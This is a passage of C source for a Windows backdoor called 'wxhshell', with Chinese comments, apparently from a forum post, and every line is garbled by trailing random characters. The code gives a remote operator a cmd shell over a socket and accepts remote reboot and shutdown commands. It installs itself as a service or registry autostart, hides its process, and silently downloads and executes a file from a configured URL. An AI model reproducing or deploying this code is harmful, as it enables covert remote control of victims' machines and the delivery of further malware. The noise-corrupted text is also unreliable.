7Q&S [])  
    switch(cmd[0]) { 3B$|B,  
  v.gAi6  
  // 帮助 :e}j$v F  
  case '?': { 7sVO?:bj}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P(L iH  
    break; DKl\N~{F  
  }  y'^b{q@  
  // 安装 /<o?T{z<-  
  case 'i': { FJW,G20L  
    if(Install()) i&)OJy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8>X]wA6q  
    else xBqZ: BQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U\[b qw  
    break; 4'N 4,3d$  
    } _+%p!!  
  // 卸载 EKmn@S-&P  
  case 'r': { ;iUO1t)^  
    if(Uninstall()) b.)jJLWv@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :n?rk/F  
    else b~TTz`HZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A[:(#iR5-E  
    break; fvA167\  
    } pE.TG4  
  // 显示 wxhshell 所在路径 W!* P  
  case 'p': { ;9vY5CxzC  
    char svExeFile[MAX_PATH]; i3$pqNe  
    strcpy(svExeFile,"\n\r"); @CC 6 `D  
      strcat(svExeFile,ExeFile); Y{X%C\  
        send(wsh,svExeFile,strlen(svExeFile),0); _) UnHp_^  
    break; CUaL  
    } $vn x)#r3  
  // 重启 #"[EVF0%1D  
  case 'b': { P|;f>*^Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J d,9<m $  
    if(Boot(REBOOT)) F$O$Y[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &NI\<C7_Gw  
    else { }CrWmJu0  
    closesocket(wsh); i=V2 /W}  
    ExitThread(0); jk%H+<FU`  
    } k<rJm P{  
    break; acj-*I  
    } 3u,B<  
  // 关机 M L7vP  
  case 'd': { +\>op,_9I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q>L.  
    if(Boot(SHUTDOWN)) @q{.shqo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k#8E9/ t@  
    else { GB)< 5I  
    closesocket(wsh); w)/~Gn676  
    ExitThread(0); aT BFF  
    } i\o * =+{r  
    break; ZRFHs>0  
    } 1_M}Dc+J  
  // 获取shell [4;G^{ bX  
  case 's': { iY5V4Gbo  
    CmdShell(wsh); !3z ;u8W  
    closesocket(wsh); 1buO&q!vn  
    ExitThread(0); _93:_L  
    break; 7~L_>7 ;  
  } -NA2+].  
  // 退出 O5*3 qJp  
  case 'x': { $A T kCO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [|(=15;  
    CloseIt(wsh); C)%qs]  
    break; s&\krW &  
    } D@c@Dt  
  // 离开 fC$@m_-KD  
  case 'q': { ]q&NO(:kbq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lLU8eHf\  
    closesocket(wsh); 5>~D3?IAd  
    WSACleanup(); ? Q"1zcX  
    exit(1); ?0lz!Nq'S  
    break; 9H+Q/Q*-a  
        } Iq 0ew  
  } 1*trtb4F  
  } g3(LDqB'.  
9d!mGnl  
  // 提示信息 nt%p@e!,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d\r-)VWSr"  
} x1}Ono3"T  
  } Uyd'uC  
A!R'/m'VG  
  return; c Ze59  
} kX+98?h-C  
mo&9=TaG  
// shell模块句柄 `^h:} V  
int CmdShell(SOCKET sock) q*cEosi'F?  
{ r^ABu_u(`I  
STARTUPINFO si; 0: B%,n UM  
ZeroMemory(&si,sizeof(si)); wGx H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sFsf~|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xx\,<8Xn  
PROCESS_INFORMATION ProcessInfo; e -b>   
char cmdline[]="cmd"; GH`y-Ul'K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4^:$|\?]  
  return 0; ?MS!t6  
} {P )O#  
YoWXHg!U  
// 自身启动模式 d;{k,rP6  
int StartFromService(void) O9AFQ)u   
{ Ep3I*bQ Y  
typedef struct aDu[iaZ  
{ n98sY+$-z  
  DWORD ExitStatus; ~Bi%8G  
  DWORD PebBaseAddress; 2HF`}H)H  
  DWORD AffinityMask; Rgl cd  
  DWORD BasePriority; (/X ]9  
  ULONG UniqueProcessId; @3bVjQ`4f  
  ULONG InheritedFromUniqueProcessId; l \|sHn/  
}   PROCESS_BASIC_INFORMATION; nwIj?(8x  
{.J<^V  
PROCNTQSIP NtQueryInformationProcess; kU.@HJ[@j  
PX`xr1o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6E.[F\u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s-~`Ao' <  
SIc~cZ!Yu  
  HANDLE             hProcess; _/Ay$l;F  
  PROCESS_BASIC_INFORMATION pbi; `g0^ W/ j  
k(_OhV_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \r [@A3O  
  if(NULL == hInst ) return 0; 7OS i2  
08! _B\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4&v&XLkb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f>3)}9?xc}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n^*,JL 9@  
N7YCg  
  if (!NtQueryInformationProcess) return 0; B![:fiR`  
.i^ @v<+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,LDL%<7t  
  if(!hProcess) return 0; @Bn4ZF B@  
"<^n@=g'q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JVr8O`>T  
14*6+~38m&  
  CloseHandle(hProcess); y,w_x,m  
L!,@_   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =d]}7PO ~  
if(hProcess==NULL) return 0; ( GoPXh  
}}k*i0  
HMODULE hMod; 5u3KL A  
char procName[255]; wSPmiJ/!  
unsigned long cbNeeded; i'\-Y]?[  
?CcX>R-/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O\)Kg2  
H({m1v ~R  
  CloseHandle(hProcess); <FI*A+I4\  
IreY8.FND  
if(strstr(procName,"services")) return 1; // 以服务启动 g yhy0  
G5RdytK  
  return 0; // 注册表启动 u]i%<Yy89  
} {7;QZk(  
%5nEyZOq  
// 主模块 v>N*f~n  
int StartWxhshell(LPSTR lpCmdLine) Wu(^k25  
{ _x^rHADp  
  SOCKET wsl; i ^2A:6}?  
BOOL val=TRUE; uh\Tf5  
  int port=0; u|6-[I  
  struct sockaddr_in door; oK$Krrs0&  
XODp[+xEEt  
  if(wscfg.ws_autoins) Install(); V`HnFAW  
z4$9,p `  
port=atoi(lpCmdLine); w.#z>4#3-  
4jZB%tH  
if(port<=0) port=wscfg.ws_port; 4^ U%` 1  
$Sa7N%D  
  WSADATA data; ck3+A/ !z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'GiN^Y9dcc  
.w'b%M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xq=!1>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #kA?*i[T  
  door.sin_family = AF_INET; DbX7?Jr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]yL+lv  
  door.sin_port = htons(port); Q]3]Z/i  
=1'WZp}D5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o>bi~(H  
closesocket(wsl); q/d?c Lgl  
return 1; yPs6_Qo!p  
} >yHtGIHe-  
5SmJ'zFO  
  if(listen(wsl,2) == INVALID_SOCKET) { *ZFF$0}  
closesocket(wsl); J9DI(`  
return 1; P#`M8k  
} z%iPk'^  
  Wxhshell(wsl); S8v?H|rm  
  WSACleanup(); -;FAS3(wy  
;Krb/qr4_  
return 0; w5 ]lU  
5X>~39(r  
} \NEk B&^n  
)+=Kh$VbS  
// 以NT服务方式启动 c_?^:xs:d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,2+d+Zuh  
{ -Fu,oEj{*  
DWORD   status = 0; |5X59! JL  
  DWORD   specificError = 0xfffffff; xXa4t4gR  
T?6<1nU)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $#2<f 6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FQ`1c[M@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !H{>c@i  
  serviceStatus.dwWin32ExitCode     = 0; mH4u@aQ}  
  serviceStatus.dwServiceSpecificExitCode = 0; HavlN}h  
  serviceStatus.dwCheckPoint       = 0; q-uzu!  
  serviceStatus.dwWaitHint       = 0; PAtv#)h  
`~"'\Hw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :@ VCKq!  
  if (hServiceStatusHandle==0) return; ,S(s  
5MD'AP:  
status = GetLastError(); 5?? }9  
  if (status!=NO_ERROR) ysl#Rwt/2  
{ s S#/JLDx]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3}&3{kt  
    serviceStatus.dwCheckPoint       = 0; DHx&%]r;D  
    serviceStatus.dwWaitHint       = 0; 4[MTEBx  
    serviceStatus.dwWin32ExitCode     = status; kv,!"<  
    serviceStatus.dwServiceSpecificExitCode = specificError; M_.Jmh<&&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a?8)47)  
    return; $Bl51Vj N  
  } vyB{35p$  
@:#J^CsM+'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +G[zE  
  serviceStatus.dwCheckPoint       = 0; |yzv o"3  
  serviceStatus.dwWaitHint       = 0; Il(o[Q>jJ3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 96QY0  
} #62ThH~  
hsS&|7Pt  
// 处理NT服务事件,比如:启动、停止 N:k>V4oE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tcsb]/my  
{ gsM^Pu09ud  
switch(fdwControl) kR^h@@'F"  
{ )T^w c:  
case SERVICE_CONTROL_STOP: [rK`BnJX  
  serviceStatus.dwWin32ExitCode = 0; ^blw\;LB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DI2e%`$  
  serviceStatus.dwCheckPoint   = 0; ls!A'@J  
  serviceStatus.dwWaitHint     = 0; W6i9mER-  
  { W*CRxGyZCl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kg"eS`-  
  } c$L1aZo  
  return; gO "G/  
case SERVICE_CONTROL_PAUSE: z=g!mVK5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #\n* Qg4p  
  break; >A6W^J|[  
case SERVICE_CONTROL_CONTINUE: wy${EY^h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ilHf5$  
  break; &z:bZH]DH  
case SERVICE_CONTROL_INTERROGATE: 9#&H'mG  
  break; GiEt;8  
}; As,e.V5!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ut;4`>T  
} |UMm>.\'  
t8h*SHD9  
// 标准应用程序主函数 svl!"tMXl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -WF((s;<#  
{ /V/NL#(R  
|3!)  
// 获取操作系统版本 ha=2isq  
OsIsNt=GetOsVer(); 2ww H3}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ryh"/lu[B  
oVn&L*H   
  // 从命令行安装 Wkjp:`(-$r  
  if(strpbrk(lpCmdLine,"iI")) Install(); .Wy'  
PuGs%{$(h  
  // 下载执行文件 f+n {9Hz  
if(wscfg.ws_downexe) { ~wv$uL8y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $L6R,%c  
  WinExec(wscfg.ws_filenam,SW_HIDE); RJerx:]  
} ~&qvS  
su1fsoL0  
if(!OsIsNt) { Dv/7 w[F  
// 如果时win9x,隐藏进程并且设置为注册表启动 h4|}BGO  
HideProc(); K[OOI~"C  
StartWxhshell(lpCmdLine); M|%bxG^l  
} FjtS  
else k_wcol,W  
  if(StartFromService()) x< 2]UB`  
  // 以服务方式启动 R<6y7?]bZ  
  StartServiceCtrlDispatcher(DispatchTable); Qg(;>ops  
else }8aqSD<:  
  // 普通方式启动 SE^l`.U@  
  StartWxhshell(lpCmdLine); :?g+\:`/0j  
,@?9H ~\  
return 0; };9s8VZE  
}
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只看该作者 1 发表于: 2006-10-10
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